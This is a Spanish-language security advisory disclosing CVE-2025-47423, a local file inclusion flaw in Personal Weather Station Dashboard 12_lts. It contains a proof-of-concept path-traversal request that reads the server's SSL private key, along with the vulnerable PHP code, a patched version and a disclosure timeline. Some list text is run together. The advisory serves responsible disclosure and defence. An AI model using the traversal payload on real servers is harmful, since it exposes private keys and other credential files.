
Divulgación detallada de CVE-2025-47423: Inclusión de Archivos Locales en Personal Weather Station Dashboard 12_lts. Incluye PoC, análisis de código vulnerable y recomendaciones de parche seguro para aprendizaje defensivo.
Descubierto por: Matthew Eagle
Estado: Divulgación pública
Fecha de notificación: 2025-05-05
ID de CVE: CVE-2025-47423
Una vulnerabilidad de Inclusión Local de Archivos (LFI) en la versión 12_lts de Personal Weather Station Dashboard permite a atacantes remotos no autenticados leer archivos arbitrarios en el servidor. La explotación de esta falla otorga acceso a archivos sensibles, incluidas claves SSL privadas, lo que podría comprometer la confidencialidad e integridad de las conexiones HTTPS.
/others/_test.phptest (mediante GET)Esta falla permite a los atacantes remotos:
server.key)CVSS: 5.8 Medio
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
Respuesta:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
El str_replace es insuficiente para prevenir el recorrido de directorios.
basename() y verificar contra los archivos permitidos$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| Fecha | Evento |
|---|---|
| 2025-05-05 | Vulnerabilidad notificada a los moderadores de PWS Dashboard |
| 2025-05-06 | Acuse de recibo y pruebas observadas |
| 2025-05-07 | CVE-2025-47423 reservado a través de MITRE |
| 2025-06-07 | Parche público y listado del CVE confirmados |
Si está ejecutando Personal Weather Station Dashboard 12_lts, debe:
_test.php de inmediatoVulnerabilidad descubierta y divulgada de forma responsable por Matthew Eagle
Contacto: [email protected]
Divulgación coordinada conforme a las directrices de divulgación responsable. Este documento se publica con fines educativos y defensivos.